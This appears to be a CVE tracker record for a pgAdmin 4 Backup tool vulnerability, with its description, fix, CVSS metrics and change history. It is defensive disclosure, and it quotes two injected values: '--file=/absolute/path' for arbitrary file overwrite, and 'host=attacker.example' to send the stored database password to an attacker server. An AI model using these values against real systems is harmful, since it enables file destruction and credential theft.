pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

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Thu, 17 Sep 2026 16:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}


Thu, 17 Sep 2026 15:45:00 +0000

Type Values Removed Values Added
Description pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Title pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
Weaknesses CWE-22
CWE-88
References
Metrics cvssV3_1

{'score': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

cvssV4_0

{'score': 8.7, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N'}


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cve-icon MITRE

Status: PUBLISHED

Assigner: PostgreSQL

Published:

Updated: 2026-09-17T16:00:02.215Z

Reserved: 2026-09-08T15:47:05.996Z

Link: CVE-2026-86864

cve-icon Vulnrichment

Updated: 2026-09-17T15:59:56.519Z

cve-icon NVD

Status : Received

Published: 2026-09-17T16:18:18.010

Modified: 2026-09-17T17:16:51.750

Link: CVE-2026-86864

cve-icon Redhat

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cve-icon OpenCVE Enrichment

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Weaknesses